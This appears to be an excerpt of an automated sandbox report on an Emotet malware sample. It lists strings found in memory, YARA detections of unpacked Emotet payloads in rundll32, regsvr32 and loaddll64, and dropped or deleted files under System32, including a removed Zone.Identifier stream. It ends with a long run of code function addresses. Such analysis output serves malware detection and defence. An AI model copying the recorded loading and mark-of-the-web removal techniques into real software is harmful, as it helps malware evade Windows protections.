                      Source: svchost.exe, 0000001B.00000003.772609747.0000017056585000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.772596708.0000017056582000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771116472.00000170565B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771585831.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771543494.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771348384.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771440016.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771293341.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771489113.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771257487.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771315826.0000017056A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771513285.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771024338.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771224165.00000170565BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771633828.0000017056580000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.hotspotshield.com/
                      Source: svchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
                      Source: svchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
                      Source: svchost.exe, 0000001B.00000003.772609747.0000017056585000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.772596708.0000017056582000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771116472.00000170565B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771585831.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771543494.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771348384.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771440016.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771293341.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771489113.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771257487.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771315826.0000017056A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771513285.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771024338.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771224165.00000170565BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771633828.0000017056580000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.hotspotshield.com/terms/
                      Source: svchost.exe, 0000001B.00000003.772609747.0000017056585000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.772596708.0000017056582000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771116472.00000170565B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771585831.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771543494.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771348384.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771440016.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771293341.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771489113.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771257487.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771315826.0000017056A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771513285.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771024338.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771224165.00000170565BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771633828.0000017056580000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.pango.co/privacy
                      Source: svchost.exe, 0000001B.00000003.781191744.000001705659E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tiktok.com/legal/report/feedback

                      E-Banking Fraud

                      barindex
                      Yara detected Emotet
                      Source: Yara matchFile source: 3.2.rundll32.exe.20500010000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.1b23e930000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.loaddll64.exe.1e200010000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.rundll32.exe.21dbea20000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 11.2.regsvr32.exe.2310000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.loaddll64.exe.1e200010000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 11.2.regsvr32.exe.2310000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.rundll32.exe.21dbea20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.1580000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.2.rundll32.exe.1ec47bf0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.2.rundll32.exe.1ec47bf0000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.1b23e930000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.rundll32.exe.20500010000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000000.00000002.492629360.000001E200010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.479464350.0000000001580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.477702534.000001EC47BF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.477040143.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.466000340.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000B.00000002.886485279.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.466138189.000001B23E930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.485258322.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.466579273.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.479882020.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.487464916.0000021DBEA20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.466935474.0000020500010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: C:\Windows\System32\regsvr32.exeFile deleted: C:\Windows\System32\XSYhmb\vuKI.dll:Zone.IdentifierJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeFile created: C:\Windows\system32\AfzDfnhsGeYDyd\Jump to behavior
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10009F200_2_10009F20
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10001E600_2_10001E60
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001A8040_2_000000018001A804
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800174140_2_0000000180017414
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000CCC80_2_000000018000CCC8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001BD640_2_000000018001BD64
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180027E280_2_0000000180027E28
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002B6BC0_2_000000018002B6BC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001EB080_2_000000018001EB08
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180005B180_2_0000000180005B18
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180018B3C0_2_0000000180018B3C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180011B880_2_0000000180011B88
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000AFE40_2_000000018000AFE4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000B3E40_2_000000018000B3E4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800213FC0_2_00000001800213FC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001A4080_2_000000018001A408
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000BC080_2_000000018000BC08
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800010140_2_0000000180001014
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800164180_2_0000000180016418
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800240200_2_0000000180024020
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800028200_2_0000000180002820
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001B0280_2_000000018001B028
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180017C300_2_0000000180017C30
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180022C480_2_0000000180022C48
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800048480_2_0000000180004848
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002344C0_2_000000018002344C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001484C0_2_000000018001484C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180015C500_2_0000000180015C50
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000F8500_2_000000018000F850
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000C4580_2_000000018000C458
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180004C640_2_0000000180004C64
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180020C680_2_0000000180020C68
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180010C680_2_0000000180010C68
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001406C0_2_000000018001406C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001FC700_2_000000018001FC70
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800040780_2_0000000180004078
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800054840_2_0000000180005484
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002A0880_2_000000018002A088
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800238940_2_0000000180023894
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800114A00_2_00000001800114A0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001E4A80_2_000000018001E4A8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180007CAC0_2_0000000180007CAC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800030BC0_2_00000001800030BC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001C8C00_2_000000018001C8C0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800178C40_2_00000001800178C4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001D4D00_2_000000018001D4D0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800090D40_2_00000001800090D4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800284DC0_2_00000001800284DC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180008CE00_2_0000000180008CE0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800124E40_2_00000001800124E4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180003CE80_2_0000000180003CE8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002B0EC0_2_000000018002B0EC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001ACEC0_2_000000018001ACEC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000B0F80_2_000000018000B0F8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800161100_2_0000000180016110
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800249180_2_0000000180024918
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180013D1C0_2_0000000180013D1C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002BD200_2_000000018002BD20
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800265200_2_0000000180026520
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000BD240_2_000000018000BD24
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180021D2C0_2_0000000180021D2C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000D92C0_2_000000018000D92C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001A1300_2_000000018001A130
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002093C0_2_000000018002093C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800171440_2_0000000180017144
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800049480_2_0000000180004948
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001B5580_2_000000018001B558
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002155C0_2_000000018002155C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180019D5C0_2_0000000180019D5C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002796C0_2_000000018002796C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002B5700_2_000000018002B570
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800169780_2_0000000180016978
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800105780_2_0000000180010578
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000F5800_2_000000018000F580
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000ED840_2_000000018000ED84
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800289900_2_0000000180028990
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800145940_2_0000000180014594
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800165940_2_0000000180016594
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800051980_2_0000000180005198
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180029DA80_2_0000000180029DA8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800041A80_2_00000001800041A8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000B1A80_2_000000018000B1A8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001C5AC0_2_000000018001C5AC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180017DB00_2_0000000180017DB0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180020DBC0_2_0000000180020DBC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800129BC0_2_00000001800129BC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180002DC00_2_0000000180002DC0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001D9C40_2_000000018001D9C4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180023DD40_2_0000000180023DD4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800025D80_2_00000001800025D8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001C9F00_2_000000018001C9F0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800031F00_2_00000001800031F0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800199F40_2_00000001800199F4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180022E040_2_0000000180022E04
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800132100_2_0000000180013210
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800136100_2_0000000180013610
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180013E180_2_0000000180013E18
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001F61C0_2_000000018001F61C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001D6200_2_000000018001D620
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001762C0_2_000000018001762C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180025E300_2_0000000180025E30
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800226380_2_0000000180022638
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001F2380_2_000000018001F238
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180029A400_2_0000000180029A40
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001D2540_2_000000018001D254
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000E2540_2_000000018000E254
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000FE580_2_000000018000FE58
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001EE5C0_2_000000018001EE5C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800106800_2_0000000180010680
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002BE900_2_000000018002BE90
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000F2900_2_000000018000F290
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000B6980_2_000000018000B698
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800066980_2_0000000180006698
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002369C0_2_000000018002369C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180003A9C0_2_0000000180003A9C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800276A40_2_00000001800276A4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800216A80_2_00000001800216A8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800146B40_2_00000001800146B4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000B2BC0_2_000000018000B2BC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180019EC00_2_0000000180019EC0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180020AC40_2_0000000180020AC4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000FAD00_2_000000018000FAD0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180021AE00_2_0000000180021AE0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800072E00_2_00000001800072E0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800036E00_2_00000001800036E0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180002AE40_2_0000000180002AE4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180028EE80_2_0000000180028EE8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180024EF40_2_0000000180024EF4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800212FC0_2_00000001800212FC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180022AFC0_2_0000000180022AFC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000D3000_2_000000018000D300
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002A3040_2_000000018002A304
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800233040_2_0000000180023304
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800027080_2_0000000180002708
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800197200_2_0000000180019720
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001C7200_2_000000018001C720
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800137240_2_0000000180013724
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180017B240_2_0000000180017B24
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180028B280_2_0000000180028B28
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018002632C0_2_000000018002632C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800243300_2_0000000180024330
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180022F3C0_2_0000000180022F3C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180026F3C0_2_0000000180026F3C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180026B400_2_0000000180026B40
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180003F400_2_0000000180003F40
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180008F5C0_2_0000000180008F5C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180010B600_2_0000000180010B60
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001F7640_2_000000018001F764
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800143680_2_0000000180014368
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800013680_2_0000000180001368
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000CB6C0_2_000000018000CB6C
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000DB740_2_000000018000DB74
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180012F940_2_0000000180012F94
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001E7A40_2_000000018001E7A4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800127A40_2_00000001800127A4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001EFAC0_2_000000018001EFAC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800093AC0_2_00000001800093AC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180013BB40_2_0000000180013BB4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180007BB40_2_0000000180007BB4
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000DFCC0_2_000000018000DFCC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018000EFCC0_2_000000018000EFCC
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800207D00_2_00000001800207D0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001ABD80_2_000000018001ABD8
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_00000001800193E00_2_00000001800193E0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000001E2000000000_2_000001E200000000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_015700002_2_01570000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001A8042_2_000000018001A804
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800174142_2_0000000180017414
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001FC702_2_000000018001FC70
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001C8C02_2_000000018001C8C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000CCC82_2_000000018000CCC8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001BD642_2_000000018001BD64
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180027E282_2_0000000180027E28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002B6BC2_2_000000018002B6BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001EB082_2_000000018001EB08
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180005B182_2_0000000180005B18
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180018B3C2_2_0000000180018B3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180011B882_2_0000000180011B88
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000AFE42_2_000000018000AFE4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000B3E42_2_000000018000B3E4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800213FC2_2_00000001800213FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001A4082_2_000000018001A408
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000BC082_2_000000018000BC08
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800010142_2_0000000180001014
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800164182_2_0000000180016418
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800240202_2_0000000180024020
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800028202_2_0000000180002820
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001B0282_2_000000018001B028
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017C302_2_0000000180017C30
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180022C482_2_0000000180022C48
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800048482_2_0000000180004848
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002344C2_2_000000018002344C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001484C2_2_000000018001484C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180015C502_2_0000000180015C50
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F8502_2_000000018000F850
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000C4582_2_000000018000C458
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180004C642_2_0000000180004C64
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180020C682_2_0000000180020C68
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180010C682_2_0000000180010C68
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001406C2_2_000000018001406C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800040782_2_0000000180004078
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800054842_2_0000000180005484
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002A0882_2_000000018002A088
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800238942_2_0000000180023894
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800114A02_2_00000001800114A0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001E4A82_2_000000018001E4A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180007CAC2_2_0000000180007CAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800030BC2_2_00000001800030BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800178C42_2_00000001800178C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001D4D02_2_000000018001D4D0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800090D42_2_00000001800090D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800284DC2_2_00000001800284DC
